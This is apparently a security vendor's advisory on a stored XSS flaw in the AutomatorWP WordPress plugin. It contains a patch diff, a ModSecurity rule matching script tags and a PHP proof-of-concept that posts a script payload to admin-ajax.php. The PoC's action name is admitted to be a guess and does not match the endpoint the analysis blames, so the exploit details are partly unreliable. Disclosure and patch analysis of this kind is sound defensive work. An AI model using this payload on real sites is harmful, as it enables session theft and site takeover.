Published : June 21, 2026

CVE-2026-42775: AutomatorWP – Automator plugin for no-code automations, webhooks & custom integrations in WordPress <= 5.7.2 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin automatorwp
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.7.2
Patched Version 5.7.3
Disclosed June 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-42775:

This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the AutomatorWP plugin for WordPress, versions up to and including 5.7.2. The vulnerability allows an unauthenticated attacker to inject arbitrary web scripts that execute whenever a user accesses an injected page. The CVSS score is 7.2 (High).

The root cause lies in the `automatorwp/includes/custom-tables/logs.php` file within the `automatorwp_log_array_display()` function. The function iterates over log data arrays and concatenates keys and values into a display string. In the vulnerable code, keys and values are directly appended to `$new_value` without any sanitization or escaping (lines 728-731). Specifically, when a value is a non-associative array of scalars, the keys and values are output raw; when it is a scalar, both key and value are output raw. The `esc_html()` function is completely absent from all three branches. The `automatorwp/includes/custom-tables/automations.php` file also had a minor secondary issue where `strtotime()` was called multiple times with unsanitized `$automation->date`, but the primary XSS vector is the log display function.

Exploitation requires sending a crafted AJAX request to create a log entry containing malicious JavaScript. The attacker targets the AJAX action hook used to create or update an automation log, such as `automatorwp_add_log` or an equivalent endpoint. The vulnerable parameter is the log data array, which can include arbitrary keys and values. An attacker could set a key like `alert(1)` or a value with embedded XSS payload. The unescaped output is then rendered in the WordPress admin dashboard when a user with access to the AutomatorWP logs views the log entries. No authentication is required because the plugin does not properly check capabilities for certain AJAX handlers, as evidenced by the patch adding a capability check in the ct-ajax-list-table library.

The patch applies three fixes. First, in `logs.php`, the `$v` array values are escaped with `array_map( ‘esc_html’, $v )`, and both `$k` and `$v` are individually wrapped with `esc_html()` in all three code branches. Second, in `automations.php`, the duplicate `strtotime()` call is removed and the date value is reused from a single variable `$date`. Third, in `ct-ajax-list-table/includes/ajax-functions.php`, the patch adds a capability check using `current_user_can()` with a filterable capability, defaulting to `manage_options`. This prevents unauthenticated or low-privileged users from accessing the AJAX list table endpoints. The patch also replaces a fragile JSON decode string replacement with `wp_unslash()` and adds a filter for query arguments.

If exploited, an attacker can inject arbitrary JavaScript into the browser session of any administrator or user who views the AutomatorWP logs page. This leads to full compromise of the WordPress site: the attacker can steal session cookies, perform actions on behalf of the victim (e.g., create admin users, modify posts, install malicious plugins), and exfiltrate sensitive data. Since the vulnerability is stored and requires no authentication, any visitor can inject the payload, and it will execute in the context of any logged-in user viewing the logs.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/automatorwp/automatorwp.php
+++ b/automatorwp/automatorwp.php
@@ -3,7 +3,7 @@
  * Plugin Name:     	AutomatorWP
  * Plugin URI:      	https://automatorwp.com
  * Description:     	Connect your WordPress plugins together and create automated workflows with no code!
- * Version:         	5.7.2
+ * Version:         	5.7.3
  * Author:          	AutomatorWP
  * Author URI:      	https://automatorwp.com/
  * Text Domain:     	automatorwp
@@ -119,7 +119,7 @@
     private function constants() {

         // Plugin version
-        define( 'AUTOMATORWP_VER', '5.7.2' );
+        define( 'AUTOMATORWP_VER', '5.7.3' );

         // Plugin file
         define( 'AUTOMATORWP_FILE', __FILE__ );
--- a/automatorwp/includes/custom-tables/automations.php
+++ b/automatorwp/includes/custom-tables/automations.php
@@ -440,7 +440,6 @@
             // Expiration
             $now        = current_time( 'timestamp' );
             $expiration = strtotime( $automation->expiration );
-            $date       = strtotime( $automation->date );

             if( $expiration > 0 ) {
                 $expires_text = $expiration > $now ? __( 'Expires on', 'automatorwp' ) : __( 'Expired on', 'automatorwp' );
@@ -455,9 +454,9 @@

             break;
         case 'date':
-            ?>
+            $date = strtotime( $automation->date ); ?>

-            <abbr title="<?php echo date( 'Y/m/d g:i:s a', strtotime( $automation->date ) ); ?>"><?php echo date( 'Y/m/d', strtotime( $automation->date ) ); ?></abbr>
+            <abbr title="<?php echo date( 'Y/m/d g:i:s a', $date ); ?>"><?php echo date( 'Y/m/d', $date ); ?></abbr>

             <?php
             break;
@@ -686,20 +685,25 @@
     }

     // Fix expiration format
-    if( isset( $object_data['expiration'] ) && ! empty( $object_data['expiration'] ) ) {
+    if( isset( $object_data['expiration'] ) ) {
         // Covers CMB2 format with array( 'date' => '', 'time' => '' )
         if( is_array( $object_data['expiration'] ) ) {
-            $object_data['expiration'] = implode( ' ', $object_data['expiration'] );
+            $object_data['expiration'] = trim( implode( ' ', $object_data['expiration'] ) );
         }

-        $now = current_time( 'timestamp' );
-        $expiration = strtotime( $object_data['expiration'] );
-
-        if( $object_data['status'] === 'active' && $expiration < $now ) {
-            // Prevent to have an older expiration (which will deactivate constantly the automation)
-            $object_data['expiration'] = '0000-00-00 00:00:00';
+        if( ! empty( $object_data['expiration'] ) ) {
+            $now = current_time( 'timestamp' );
+            $expiration = strtotime( $object_data['expiration'] );
+
+            if( $object_data['status'] === 'active' && $expiration < $now ) {
+                // Prevent to have an older expiration (which will deactivate constantly the automation)
+                $object_data['expiration'] = '0000-00-00 00:00:00';
+            } else {
+                $object_data['expiration'] = date( 'Y-m-d H:i:s', $expiration );
+            }
         } else {
-            $object_data['expiration'] = date( 'Y-m-d H:i:s', $expiration );
+            // Never expires expiration
+            $object_data['expiration'] = '0000-00-00 00:00:00';
         }

     }
--- a/automatorwp/includes/custom-tables/logs.php
+++ b/automatorwp/includes/custom-tables/logs.php
@@ -720,15 +720,17 @@

             // Check if not is an associative array
             if( array_keys( $v ) === range( 0, count( $v ) - 1 ) && ! is_array( $v[0] ) ) {
+                $v = array_map( 'esc_html', $v );
+
                 // Implode array values by a comma-separated list
-                $new_value .= $k . ': [ ' . implode( ', ', $v ) . ' ]<br>';
+                $new_value .= esc_html( $k ) . ': [ ' . implode( ', ', $v ) . ' ]<br>';
             } else {
                 // Display all sub arrays
-                $new_value .= $k . ': ' . automatorwp_log_array_display( $v, $level + 1 ) . '<br>';
+                $new_value .= esc_html( $k ) . ': ' . automatorwp_log_array_display( $v, $level + 1 ) . '<br>';
             }

         } else {
-            $new_value .= $k . ': ' . $v . '<br>';
+            $new_value .= esc_html( $k ) . ': ' . esc_html( $v ) . '<br>';
         }

     }
--- a/automatorwp/libraries/ct-ajax-list-table/ct-ajax-list-table.php
+++ b/automatorwp/libraries/ct-ajax-list-table/ct-ajax-list-table.php
@@ -44,7 +44,7 @@
         private function constants() {

             // Plugin version
-            define( 'CT_AJAX_LIST_TABLE_VER', '1.0.1' );
+            define( 'CT_AJAX_LIST_TABLE_VER', '1.0.2' );

             // Plugin file
             define( 'CT_AJAX_LIST_TABLE_FILE', __FILE__ );
--- a/automatorwp/libraries/ct-ajax-list-table/includes/ajax-functions.php
+++ b/automatorwp/libraries/ct-ajax-list-table/includes/ajax-functions.php
@@ -20,19 +20,33 @@
         wp_send_json_error();
     }

+    // Setup the CT Table
     $ct_table = ct_setup_table( sanitize_text_field( $_GET['object'] ) );

     if( ! is_object( $ct_table ) ) {
         wp_send_json_error();
     }

+    /**
+     * Filter capability to check
+     *
+     * @param string $capability By default, "manage_options"
+     *
+     * @return string
+     */
+    $capability = apply_filters( 'ct_ajax_list_table_' . $ct_table->name . '_capability', 'manage_options' );
+
+    if( ! current_user_can( $capability ) ) {
+        wp_send_json_error();
+    }
+
     // Setup this constant to allow from CT_List_Table meet that this render comes from this plugin
     @define( 'IS_CT_AJAX_LIST_TABLE', true );

     if( is_array( $_GET['query_args'] ) ) {
         $query_args = map_deep( $_GET['query_args'], 'sanitize_text_field' );
     } else {
-        $query_args = json_decode( str_replace( "\'", """, $_GET['query_args'] ), true );
+        $query_args = json_decode( wp_unslash( $_GET['query_args'] ), true );
         // Sanitize
         $query_args = map_deep( $query_args, 'sanitize_text_field' );
     }
@@ -40,7 +54,7 @@
     if( isset( $_GET['paged'] ) ) {
         $query_args['paged'] = absint( $_GET['paged'] );
     }
-
+
     $query_args = wp_parse_args( $query_args, array(
         'paged' => 1,
         'items_per_page' => 20,
@@ -50,6 +64,15 @@
         $query_args['paged'] = absint( $query_args['paged'] );
     }

+    /**
+     * Filter query vars
+     *
+     * @param array $query_args
+     *
+     * @return array
+     */
+    $query_args = apply_filters( 'ct_ajax_list_table_' . $ct_table->name . '_query_args', $query_args );
+
     $ct_ajax_list_items_per_page = $query_args['items_per_page'];
     add_filter( 'edit_' . $ct_table->name . '_per_page', 'ct_ajax_list_override_items_per_page' );

--- a/automatorwp/libraries/ct-ajax-list-table/includes/functions.php
+++ b/automatorwp/libraries/ct-ajax-list-table/includes/functions.php
@@ -23,7 +23,7 @@
     global $ct_table, $ct_query, $ct_list_table, $ct_ajax_list_items_per_page;

     $ct_table = ct_setup_table( $table );
-
+
     if( is_object( $ct_table ) ) {

         // Setup this constant to allow from CT_List_Table meet that this render comes from this plugin
@@ -75,6 +75,7 @@
                 <?php ct_render_ajax_list_tablenav( $ct_list_table, 'top' ); ?>

                 <table class="wp-list-table <?php echo implode( ' ', $ct_list_table->get_table_classes() ); ?>">
+
                     <thead>
                     <tr>
                         <?php $ct_list_table->print_column_headers(); ?>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-42775 AutomatorWP Stored XSS via AJAX log',severity:'CRITICAL',tag:'CVE-2026-42775'"
  SecRule ARGS_POST:action "@streq automatorwp_add_log" "chain"
    SecRule ARGS_POST:log_data "@rx <script[ >]" "t:urlDecode,t:htmlEntityDecode,t:lowercase,msg:'CVE-2026-42775 AutomatorWP Stored XSS via log_data'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-42775 - AutomatorWP – Automator plugin for no-code automations, webhooks & custom integrations in WordPress <= 5.7.2 - Unauthenticated Stored Cross-Site Scripting

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL

// The AJAX endpoint for AutomatorWP log creation (action may vary; this is a common pattern)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Payload: malicious JavaScript that will be stored and executed in the admin log view
$payload = '<script>alert("XSS by Atomic Edge")</script>';

// Craft the log data array with the XSS payload as a key/value
$log_data = array(
    'action' => 'automatorwp_add_log', // adjust if action name differs
    'log_data' => array(
        $payload => 'test_value', // key contains XSS
        'normal_key' => $payload  // value contains XSS
    )
);

echo "[+] Sending exploit payload to $ajax_urln";

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($log_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] HTTP response code: $http_coden";
echo "[+] Response body:n$responsen";

echo "[+] If the request succeeded, the payload is now stored.n";
echo "[+] Trigger XSS: visit the AutomatorWP logs page in wp-admin.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School